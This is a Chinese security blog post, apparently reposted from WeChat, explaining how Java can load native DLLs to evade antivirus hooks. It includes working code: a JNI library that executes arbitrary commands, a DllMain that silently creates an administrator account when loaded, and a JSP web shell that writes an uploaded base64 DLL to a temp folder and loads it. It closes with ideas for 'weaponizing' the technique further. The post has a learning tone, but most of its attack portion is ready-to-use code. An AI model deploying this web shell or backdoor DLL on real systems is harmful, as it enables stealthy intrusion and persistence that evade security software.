前言
前两天学习了DLL,又看到了文章,利用java加载动态链接库绕过杀软:通过动态链接库绕过反病毒软件Hook - Break JVM
后部分的内容有点深入,所以浅显的学习一下整体思路。环境:jdk1.8_181、win11、vs2022、win10
java加载动态链接库
个人理解,java.exe加载动态链接库有什么用?
感觉有点类似白加黑,直接在DLL里调用win-api去执行一些敏感操作,比如添加用户,shellcode执行,可以避免一些cmd的执行,因为现在webshell都是利用cmd.exe去执行。
java加载动态链接库常见有三种方法
-
System.load / System.loadLibrary
-
Runtime.getRuntime().load / Runtime.getRuntime().loadLibrary
-
com.sun.glass.utils.NativeLibLoader.loadLibrary
前两个的load与loadLibrary有一些区别
-
load接收的是绝对路径
-
loadLibrary接收的是相对路径,不能含有
,可通过目录穿越到达 jdk安装所在盘或用户环境变量所在盘下的任意路径,进行加载动态库,调用时不需要动态库的后缀,会自动加上。linux系统应该可以达到任意目录,windows下应该就不行了
loadDll.java
public class loadDll {
public static void main(String[] args) throws Exception {
String path1 = "C:\Users\cys\Desktop\Dll3.dll";
String path2 = "../../../../../Dll3"; // "../../../../../users/admin/desktop/Dll3";
RuntimeLoad(path);
//NativeLoad(path2);
}
static void RuntimeLoad(String path){
Runtime.getRuntime().load(path);
//Runtime.getRuntime().loadLibrary(path);
}
static void SystemLoad(String path){
System.load(path);
//System.loadLibrary(path);
}
static void NativeLoad(String path) throws Exception{
Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
Object c = Native.newInstance();
if(Native != null){
java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
Load.setAccessible(true);
Load.invoke(c,path);
}
}
}
计算器dll
流程分析
Runtime.getRuntime().load
调用了 Runtime.getRuntime().load0 方法,在这其中会判断路径是否为 绝对路径 然后调用 ClassLoader#loadLibrary
判断系统变量路径是否为空,为空就进行初始化。如果传入路径为 绝对路径 则调用 ClassLoader#loadLibrary0
loadLibrary0 中判断ClassLoader是否加载过该链接库
然后实例化 NativeLibrary 对象,添加到 nativeLibraryContext 中,然后调用 load 方法去加载动态链接库
load为native方法
System.load
直接调用 Runtime.getRuntime().load0 流程同上
Runtime.getRuntime().loadLibrary
调用 Runtime.getRuntime().loadLibrary0 判断 传入的path不能含有
直接 ClassLoader.loadLibrary,这里传入false,代表不是绝对路径, findLibrary 去寻找动态库的文件名
如果没找到,从 jdk安装路径与用户环境变量路径下去寻找库, System.mapLibraryName 会根据平台自动加上后缀,windows自动在末尾添加 .dll,接着调用 ClassLoader#loadLibrary0
findBuiltinLib 检查是否是内置的动态链接库,Hotspot JNI库文件加载源码解析CSDN博客
最后加载
System.loadLibrary
直接调用 Runtime.getRuntime().loadLibrary0 流程同上
NativeLibLoader.loadLibrary
提一嘴为什么反射调用
com.sun.glass.utils.NativeLibLoader反射调用是因为在 jdkjavafx-src.zip!comsunglassutilsNativeLibLoader.java,在不同的版本的jdk中javafx并不是都存在的。
loadLibraryInternal ->loadLibraryFullPath
loadLibraryFullPath 绝对路径会加载成功
loadLibraryFullPath 失败后,遍历环境变量去调用,这里用相对路径,总有一款适合你!
dll编写
vs编写
直接vs进行编写,见 初探DLL劫持 | Y0ng的博客
但是有一个意外情况,在新的win10虚拟机中,单单调用一个calc的dll竟然失败了,尝试了下发现是,我写的dll需要其他依赖库的支持,但是win10虚拟机中并没有这个库,导致无法加载恶意的dll。解决方法就是vs把其他库一起打包喽,运行库选择 /MT
虽然产生的dll很大,不过也算成功执行了。
JNI 技术
慢慢了解到 JNI 技术,
-
定义一个native修饰的方法
-
使用javah进行编译
-
编写对应的c语言代码
-
使用gcc编译成dll文件
-
编写一个Java类使用System.loadLibrary方法,加载dll文件并且调用
loadDll.java,定义native方法
public class loadDll {
public static void main(String[] args) throws Exception {
String dllpath = "D:\java-sec\Dll\src\cmd.dll";
System.load(dllpath);
String cmd = exec("calc");
System.out.println(cmd);
}
public static native String exec(String cmd);
}
生成.h文件
javah -cp . loadDll
生成的头文件,loadDll.h
extern "C" {
JNIEXPORT jstring JNICALL Java_loadDll_exec
(JNIEnv *, jclass, jstring);
}
编写命令执行的c文件,Command.c
int execmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败
while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
_pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_loadDll_exec(JNIEnv *env, jobject class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execmd(cstr, result))
{
// printf(result);
}
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();
return cmdresult;
}
编译为dll
gcc -I"%JAVA_HOME%include" -I"%JAVA_HOME%includewin32" -shared -o cmd.dll Command.c
加载dll,成功。
利用
这方面利用感觉比较多了,添加用户,命令执行,内网穿透,开启远程登录等等。
在有360情况下添加用户
dll中加上微软示例的添加用户代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
DWORD CreateAdminUserInternal(void)
{
NET_API_STATUS rc;
BOOL b;
DWORD dw;
USER_INFO_1 ud;
LOCALGROUP_MEMBERS_INFO_0 gd;
SID_NAME_USE snu;
DWORD cbSid = 256; // 256 bytes should be enough for everybody :)
BYTE Sid[256];
DWORD cbDomain = 256 / sizeof(TCHAR);
TCHAR Domain[256];
//
// Create user
// http://msdn.microsoft.com/en-us/library/aa370649%28v=VS.85%29.aspx
//
memset(&ud, 0, sizeof(ud));
ud.usri1_name = (LPWSTR)TEXT("audit"); // username
ud.usri1_password = (LPWSTR)TEXT("Test123456789!"); // password
ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation
ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set
ud.usri1_script_path = NULL;
rc = NetUserAdd(
NULL, // local server
1, // information level
(LPBYTE)&ud,
NULL // error value
);
if (rc != NERR_Success) {
_tprintf(_T("NetUserAdd FAIL %d 0x%08xrn"), rc, rc);
return rc;
}
//
// Get user SID
// http://msdn.microsoft.com/en-us/library/aa379159(v=vs.85).aspx
//
b = LookupAccountName(
NULL, // local server
_T("audit"), // account name
Sid, // SID
&cbSid, // SID size
Domain, // Domain
&cbDomain, // Domain size
&snu // SID_NAME_USE (enum)
);
if (!b) {
dw = GetLastError();
_tprintf(_T("LookupAccountName FAIL %d 0x%08xrn"), dw, dw);
return dw;
}
//
// Add user to "Administrators" local group
// http://msdn.microsoft.com/en-us/library/aa370436%28v=VS.85%29.aspx
//
memset(&gd, 0, sizeof(gd));
gd.lgrmi0_sid = (PSID)Sid;
rc = NetLocalGroupAddMembers(
NULL, // local server
_T("Administrators"),
0, // information level
(LPBYTE)&gd,
1 // only one entry
);
if (rc != NERR_Success) {
_tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08xrn"), rc, rc);
return rc;
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateAdminUserInternal();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
需要一个管理员身份才有权限添加用户。成功绕过杀软添加用户。
师傅的项目里还有RDP以及dump内存等代码
jsp
直接搬来大佬的jsp,通过base64解密后写入随机命名的dll,然后进行load。可拓展为反序列化,JNDI注入等等。
<%@ page import="java.io.RandomAccessFile" %>
<%!
// 获取随机的动态链接库文件名称
private String getFileName(){
String fileName = "";
java.util.Random random = new java.util.Random(System.currentTimeMillis());
String os = System.getProperty("os.name").toLowerCase();
if (os.contains("windows")){
fileName = "C:\Windows\Temp\" + random.nextInt(10000000) + ".dll";
}else {
fileName = "/tmp/"+ random.nextInt(10000000) + ".so";
}
return fileName;
}
// JSP 声明函数中无法获取全局默认的ServletRequest对象,但ServletRequest继承java.io.InputStream,可以替代
public String UploadBase64DLL(java.io.InputStream stream) throws Exception {
sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
java.io.File file = new java.io.File(getFileName());
java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
fos.write(b.decodeBuffer(stream));
fos.close();
return file.getAbsolutePath();
}
private void RuntimeLoad(String path){
Runtime.getRuntime().load(path);
}
private void SystemLoad(String path){
System.load(path);
}
// 有些JDK版本没有这个对象,因此采用反射加载进行运行
private void NativeLoad(String path) throws Exception{
Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
if(Native != null){
java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
Load.invoke(path);
}
}
//</jsp:declaration>
%>
<%
out.print("OK");
//加载方式
String method = request.getHeader("WWW-Authenticate");
try{
ServletInputStream stream = request.getInputStream();
if (stream.available() == 0){
out.println(System.getProperty("os.arch"));
return;
}
String file = UploadBase64DLL(stream);
// 按照Header头选择加载方式
switch (method){
case "1":
RuntimeLoad(file);
break;
case "2":
SystemLoad(file);
break;
case "3":
NativeLoad(file);
break;
default:
RuntimeLoad(file);
break;
}
}catch (Exception e){
System.out.println(e.toString());
}
%>
成功写入
武器化思考
浅显的思考可利用的地方
-
编写多功能DLL,按需执行其中的特定功能
-
dll与spring有没有一些利用
-
能否实现无文件落地加载dll
Rvn0xsy项目代码:Rvn0xsy/j2osWin (github.com)
参考
Java安全之JNI绕过RASP - nice_0e3 - 博客园 (cnblogs.com)
JNI 安全基础 · 攻击Java Web应用(javasec.org)
通过动态链接库绕过反病毒软件Hook - Break JVM
Java加载动态链接库 - 跳跳糖 (tttang.com)
原文始发于微信公众号(Arr3stY0u):初探java加载动态链接库
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论